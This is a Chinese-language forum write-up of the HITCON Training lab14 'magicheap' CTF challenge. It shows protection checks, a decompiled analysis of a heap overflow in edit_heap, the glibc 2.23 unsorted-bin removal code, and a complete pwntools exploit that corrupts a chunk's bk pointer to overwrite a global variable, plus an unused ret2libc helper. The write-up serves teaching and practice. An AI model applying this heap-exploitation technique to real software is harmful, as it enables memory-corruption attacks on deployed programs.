首页
论坛
课程
招聘
[原创]Pwn堆利用学习——Unsortedbin Attack——HITCON_Training_lab14_magicheap
2021-6-25 17:19 9794

[原创]Pwn堆利用学习——Unsortedbin Attack——HITCON_Training_lab14_magicheap

2021-6-25 17:19
9794

Challenge1 - HITCON_Training_lab14 - magicheap

实验环境:
• OS:Ubuntu16.04 x64
• libc:libc.2-23.so(md5:b0097c8a9284b03b412ff171c3d3c9cc)

步骤一:运行查看

没发现有啥特殊,就是四个选项:分配、编辑、释放、退出。

 

image.png

步骤二:查看文件类型和保护机制

  • 64位程序
  • 开启了Canary和NX,关闭了PIE
1
2
3
4
5
$ file magicheap
magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7dbbc580bc50d383c3d8964b8fa0e56dbda3b5f1, not stripped
$ checksec --file=magicheap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   87) Symbols   No    0   2magicheap

步骤三:IDA反编译分析

a. main

由分析可知,当输入的choice==4869且存储在bss段的全局变量magic>0x1305时,就能打印出flag。注意到这里是要想办法让magic变成一个很大的数,而unsortedbin attack的攻击效果就是让任意地址的内容改成一个较大的数值,因此该题可以尝试unsortedbin attack。

 

image.png

 

image.png

b. main->create_heap

image.png

c. main->create_heap->read_input

image.png

d. main->edit_heap

编辑heap内容的时候,输入的size不是chunk的user data部分的大小,而是用户自己随意输入一个数值,然后往chunk里输入size长度的数据,因此存在堆溢出漏洞

 

image.png

e. main->delete_heap

image.png

f. 小结

  • 漏洞点:

    • edit_heap函数存在堆溢出漏洞
  • 输入点:

    • main函数输入choice
    • create_heap函数输入chunk的user data部分的size和content
    • edit_heap函数输入chunk的index,一个size(非chunk的userdata大小)和新的content
    • delete_heap函数输入chunk的index
  • 思路:

    • 分析main函数的时候确定了尝试unsortedbin attack来修改全局变量magic的值,那么就要想办法在修改一个在unsortedbin里的free chunk的bk指针为0x6020b0。因为关闭了PIE,所以在.bss段的magic的地址是不变的。

image.png

 

所以,通过画图分析可以利用heap_edit函数的堆溢出漏洞这样去构造:

 

image.png

magic的地址是32位的,所以要往上16个字节需要减4。

 

这里顺带贴一下将chunk从unsortedbin取下来的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
    bck = victim->bk;
    if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
        __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
        malloc_printerr(check_action, "malloc(): memory corruption",
                        chunk2mem(victim), av);
    size = chunksize(victim);
 
    /*
       If a small request, try to use last remainder if it is the
       only chunk in unsorted bin.  This helps promote locality for
       runs of consecutive small requests. This is the only
       exception to best-fit, and applies only when there is
       no exact fit for a small chunk.
     */
    /*如果bck被修改会不符合这里的要求*/
    if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
        ....
    }
 
    /* remove from unsorted list */
    unsorted_chunks(av)->bk = bck;
    bck->fd = unsorted_chunks(av);

于是,当chunk1的bk被覆盖修改之后,从unsorted bin移除chunk的过程可总结如下:

  1. victim = unsorted_chunks(av)->bk = chunk1-16

  2. bck = victim->bk = chunk1->bk = target addr-16

  3. unsorted_chunks(av)->bk = bck=target addr-16

  4. bck->fd = *(target addr -16+16) = unsorted_chunks(av);

可以看出,在从 unsorted bin 移除 chunk 的过程中,victim 的 fd 并没有发挥作用,所以即使我们修改了其为一个不合法的值也没有关系。

步骤四:调试分析

a. 模板和选项函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (base, system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './magicheap'
context.binary = binary
elf = ELF(binary,checksec=False)
#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
def create(size, content):
    ru("choice :")
    sl("1")
    ru("Heap : ")
    sl(str(size))
    ru("heap:")
    sl(content)
 
def edit(idx, size, content):
    ru("choice :")
    sl("2")
    ru("Index :")
    sl(str(idx))
    ru("Heap : ")
    sl(str(size))
    ru("heap : ")
    sl(content)
 
def delete(idx):
    ru("choice :")
    sl("3")
    ru("Index :")
    sl(str(idx))
 
p.interactive()

b. malloc三个smallbin chunk并释放中间的chunk1

1
2
3
4
5
6
create(300,'a'*300) # 0
create(400,'a'*400) # 1
create(500,'a'*500) # 2
 
delete(1)
#dbg()

image.png

c. 修改chunk1的bk

1
2
3
4
5
fake_chunk_addr = 0x6020b0
# chunk0 user data + chunk1 prev size + chunk1 size + chunk1 fd + &magic-4
payload = 'b'*0x130+p64(0)+p64(0x1a1)+p64(0)+p64(fake_chunk_addr)
edit(0,700,payload)
dbg()

image.png

d. 再次malloc chunk1以修改magic的值

1
2
create(400,'c'*400)
dbg()

image.png

e. 输入指定choice得到flag

1
2
3
4
5
ru("choice :")
sl(str(4869))
ru("Congrt !\n")
flag = ru("\n")
print(flag)

image.png

步骤五:完整Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
        if path == '':
                libc = LibcSearcher(func, leak)
                base = leak - libc.dump(func)
                system = base + libc.dump('system')
                binsh = base + libc.dump('str_bin_sh')
        else:
                libc = ELF(path)
                base = leak - libc.sym[func]
                system = base + libc.sym['system']
                binsh = base + libc.search('/bin/sh').next()
 
        return (base, system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './magicheap'
context.binary = binary
elf = ELF(binary,checksec=False)
#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
 
def dbg():
        gdb.attach(p)
        pause()
 
def create(size, content):
    ru("choice :")
    sl("1")
    ru("Heap : ")
    sl(str(size))
    ru("heap:")
    sl(content)
 
def edit(idx, size, content):
    ru("choice :")
    sl("2")
    ru("Index :")
    sl(str(idx))
    ru("Heap : ")
    sl(str(size))
    ru("heap : ")
    sl(content)
 
def delete(idx):
    ru("choice :")
    sl("3")
    ru("Index :")
    sl(str(idx))
 
create(300,'a'*300) # 0
create(400,'a'*400) # 1
create(500,'a'*500) # 2
 
delete(1)
#dbg()
 
fake_chunk_addr = 0x6020b0
# chunk0 user data + chunk1 prev size + chunk1 size + chunk1 fd + &magic-4
payload = 'b'*0x130+p64(0)+p64(0x1a1)+p64(0)+p64(fake_chunk_addr)
edit(0,700,payload)
#dbg()
 
create(400,'c'*400)
#dbg()
 
ru("choice :")
sl(str(4869))
ru("Congrt !\n")
flag = ru("\n")
print(flag)
 
p.interactive()

这一题还是比较简单的。做完之后我去看ctfwiki的题解,感觉我的脑袋僵硬了:( -> malloc的三个chunk,只要保证第二个chunk在释放的时候会放到unsorted bin里去就可以了,不需要三个都是smallbin chunk。

参考文献


[注意] 欢迎加入看雪团队!base上海,招聘安全工程师、逆向工程师多个坑位等你投递!

上传的附件:
收藏
点赞3
打赏
分享
最新回复 (2)
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mimi3333 活跃值 2021-7-4 17:51
2
0

我标记的对吗?是把magic的内容改为了main_arena+88吗?


雪    币: 9235
活跃值: 活跃值 (4357)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
直木 活跃值 4 2021-7-7 08:51
3
0
mimi3333 我标记的对吗?是把magic的内容改为了main_arena+88吗?
游客
登录 | 注册 方可回帖
返回